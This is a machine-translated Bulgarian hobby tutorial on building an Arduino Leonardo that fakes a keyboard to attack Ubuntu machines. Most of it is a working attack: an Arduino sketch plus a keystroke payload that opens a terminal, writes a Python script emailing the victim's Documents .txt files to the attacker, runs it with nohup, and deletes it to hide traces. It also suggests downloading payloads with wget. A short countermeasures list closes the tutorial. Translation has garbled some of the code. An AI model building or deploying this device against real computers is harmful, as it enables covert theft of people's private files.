Съдържание:

Демонстрация на експлоатация на клавиатурата на Arduino (HID) и предотвратяване: 4 стъпки (със снимки)
Демонстрация на експлоатация на клавиатурата на Arduino (HID) и предотвратяване: 4 стъпки (със снимки)

Видео: Демонстрация на експлоатация на клавиатурата на Arduino (HID) и предотвратяване: 4 стъпки (със снимки)

Видео: Демонстрация на експлоатация на клавиатурата на Arduino (HID) и предотвратяване: 4 стъпки (със снимки)
Видео: ✅Arduino NRF24L01 эмулятор клавиатуры и мыши 2024, Юли
Anonim
Image
Image
Изграждане на устройството
Изграждане на устройството

В този проект ще използваме arduino leonardo, за да симулираме евентуална USB атака, използвайки HID (интерфейс за човешки интерфейс).

Създадох този урок не за да помогна на хакерите, а за да ви покажа някои реални опасности и как да защитите себе си от тези опасности. Това устройство не е устройство, което може да се използва на всяка платформа за хакери, то е по -скоро доказателство за концепцията в детайли.

Ще научим следното:

- как да използвате arduino leonardo за подражание на клавиатурата

- как да четете данни от SD карти

- как да създадете скрипт на python, който сканира файлове и ги изпраща по имейл

- как да защитите себе си от USB хакерски устройства

Стъпка 1: Материали

Части:

1. Ардуино леонардо

2. четец на micro USB карти

3. няколко GB SD карта

4. бутон като този (VCC, заземяване и сигнал)

5. женски-мъжки и женски-женски джъмперни кабели

6. микро USB към USB кабел

Стъпка 2: Изграждане на устройството

Изграждане на устройството
Изграждане на устройството

Преди инструкцията за изграждане нека прегледаме принципа на работа:

Arduino leonardo може да се държи като устройство с човешки интерфейс (HID) и следователно може да подражава на мишка и клавиатура. Ще използваме тази функция, за да отворим терминал (в UBUNTU linux) и да напишем малък скрипт, който ще има достъп /папка Документи в домашната папка на потребителя, копирайте.txt файловете там и ги изпратете на някого. Ако искате да научите повече подробности, проверете следващата стъпка.

Тъй като това е демо устройство, нещата са много прости, няма да запояваме нищо.

Инструкции за изграждане

Преди да започнем да проверяваме прикачените файлове, прикачих схеми за фритзинг и всички необходими файлове

1. Сглобете компонентите:

* включете микро USB кабела в arduino

* свържете ключовия превключвател към arduino (заземен, vcc и изходен модул към D8)

* свържете четеца на карти към arduino (използвайки ICSP заглавка). Arduino leonardo няма заглавката на ICSP, свързана с цифрови пинове, така че ще трябва да свържете четеца на карти към заглавката на ICSP. Можете да намерите някои чертежи на ICSP тук: https://learn.sparkfun.com/tutorials/installing-an…. Свържете SS щифта към цифровия щифт 10

2. вземете кода arduino, можете да клонирате моето хранилище на arduino в github: https://github.com/danionescu0/arduino и да отидете на projects/keyboard_exploit или да го получите отдолу:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; Низ sleepCommandStartingPoint = "Сън::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Картата е неуспешна или я няма!"); връщане; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Качено!"); забавяне (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Посоченото име на файл не присъства на SD картата, проверете filenameOnCard!"); } Низова линия; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (ред); sendToKeyboard (ред); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (ред); връщане; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Текст:"); Serial.println (ред); Keyboard.println (ред); натиснете Enter (); връщане; } Serial.println ("Команда:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Низова команда = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (команда! = "") {Serial.print ("Команда е намерена:"); Serial.println (команда); Keyboard.press (getCommandCode (команда)); забавяне (delayBetweenCommands); }} Keyboard.releaseAll (); забавяне (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); забавяне (sleepAmount); } char getCommandCode (низов текст) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; код = (текст == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: код; код = (текст == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: код; код = (текст == "KEY_LEFT_ALT")? KEY_LEFT_ALT: код; код = (текст == "KEY_UP_ARROW")? KEY_UP_ARROW: код; код = (текст == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: код; код = (текст == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: код; код = (текст == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: код; код = (текст == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: код; код = (текст == "KEY_BACKSPACE")? KEY_BACKSPACE: код; код = (текст == "KEY_TAB")? KEY_TAB: код; код = (текст == "KEY_RETURN")? KEY_RETURN: код; код = (текст == "KEY_ESC")? KEY_ESC: код; код = (текст == "KEY_INSERT")? KEY_INSERT: код; код = (текст == "KEY_DELETE")? KEY_DELETE: код; код = (текст == "KEY_PAGE_UP")? KEY_PAGE_UP: код; код = (текст == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: код; код = (текст == "KEY_HOME")? KEY_HOME: код; код = (текст == "KEY_END")? KEY_END: код; код = (текст == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: код; код = (текст == "KEY_F1")? KEY_F1: код; код = (текст == "KEY_F2")? KEY_F2: код; код = (текст == "KEY_F3")? KEY_F3: код; код = (текст == "KEY_F4")? KEY_F4: код; код = (текст == "KEY_F5")? KEY_F5: код; код = (текст == "KEY_F6")? KEY_F6: код; код = (текст == "KEY_F7")? KEY_F7: код; код = (текст == "KEY_F8")? KEY_F8: код; код = (текст == "KEY_F9")? KEY_F9: код; код = (текст == "KEY_F10")? KEY_F10: код; код = (текст == "KEY_F11")? KEY_F1: код; код = (текст == "KEY_F12")? KEY_F2: код;

код за връщане;

}

3. Качете кода в arduino, не забравяйте да изберете 9600 бод скорост, сериен порт и arduino leonardo

4. Форматирайте sd картата с помощта на FAT16 или FAT32

5. Ако сте клонирали github repo отгоре, копирайте файла hack.txt на картата, ако файлът не е посочен по -долу:

Команда:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Команда:: KEY_INSERT импортиране smtplib внос glob, os от os.path импортиращ потребител от имейл. MIMEText импортиране MIMEText от имейл. Помощни импортиране COMMASPACE, formatdate от имейл импортиране кодери

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'address_address' scan_documents_location = 'Документи'

subject = body = 'Файлове от хакнат компютър'

header = 'До: {0} nОт: {1} nПредмет: {2} n'.format (to_address, smtp_user, subject)

def sendMail (до, тема, текст, файлове = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = тема msg.attach (MIMEText (текст)) за файл във файлове: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (файл)) msg.attach (част)

сървър = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Редактирайте следните редове:

smtp_user = 'изпращач_имейл_адр'

smtp_pass = 'sender_password' to_address = 'address_address'

И заменете с вашите имейл адреси

7. Извадете картата и я поставете в четеца на карти arduino

Стъпка 3: Как работи в подробности

Как ще действа атаката:

1. Когато бутонът е натиснат, leonardo ще прочете SD картата с помощта на четец на SD карти. На картата ще има специален файл, съдържащ ключове и комбинация от клавиши. Името на файла е "hack.txt".

Файлът може да съдържа необработен текст и той ще бъде предаден на клавиатурата така, както е.

Също така може да съдържа специални команди като "Sleep::" и "Command::".

Ред като:

Sleep:: 200 означава сън от 200 ms

Ред като:

Команда:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t означава натиснат левия ctrl, натиснат левия alt, t натиснат и всички освободени

Можете да проверите всички специални ключове тук:

2. Леонардо ще чете ред по ред и ще интерпретира командите и подражава на клавишите на клавиатурата. Файлът "hack.txt" съдържа комбинация от ключове, която прави следното (за UBUNTU linux):

а. отваря терминал (CTRL + ALT + T)

б. отваря python файл за създаване с помощта на vi (пише "vi hack.py"

° С. пише скрипт на python вътре, който събира всички текстови файлове в домашната папка на документите и ги изпраща на определен gmail адрес

д. изпълнява файла във фонов режим ("nohup python hack.py &")

д. изтрива файла (rm -rf hack.py)

е. затваря терминала (ALT + F4)

Цялото това нещо тече за няколко секунди и не оставя следи.

Подобрения и отстраняване на неизправности

* Може да забележите, че след като отворя терминал, пиша python файла. по -добър начин за това ще бъде да го хоствате някъде и да го изтеглите с помощта на командата "wget some_url", след което да го преименувате на hack.py

* Също така можем да изтеглим или стартираме готов експлойт за целевата операционна система

* wifi може да бъде добавен към модула, а хаковете могат да бъдат качени чрез WIFI

* можете да използвате arduino micro (който е много по -малък) и да вградите експлойт код в него (за да го направите по -малък)

Ограничения

1. Тъй като симулираното устройство (клавиатура и мишка) няма никаква обратна връзка, ние не знаем какво ще се случи след издаване на команда, което означава, че трябва да използваме закъснения. Например издавам команда за отваряне на терминала, но не знам кога ще бъде действително отворен, така че трябва да посоча произволно забавяне, за да гарантирам, че въведените символи след това няма да бъдат загубени.

2. Може да срещнем проблеми с разрешенията като липса на достъп до USB порта или разрешение за инсталиране на нещо

3. Скоростта на писане не е толкова голяма при leonardo

4. Ще работи само с насочена операционна система (в нашия случай UBUNTU linux)

В следващата стъпка ще се опитаме да намерим начини да използваме тези ограничения, за да предотвратим хакването на компютъра ни

Стъпка 4: Противодействие

1. Деактивиране на USB портове

-за Windows можете да проверите този урок:

2. USB устройства в белия списък:

- за Windows:

2. Заключете компютъра си, когато не сте далеч

3. Не влизайте като root (изисквайте пароли за инсталиране на нещо)

4. Поддържайте актуалността си (включени са автоматичните актуализации)

Препоръчано: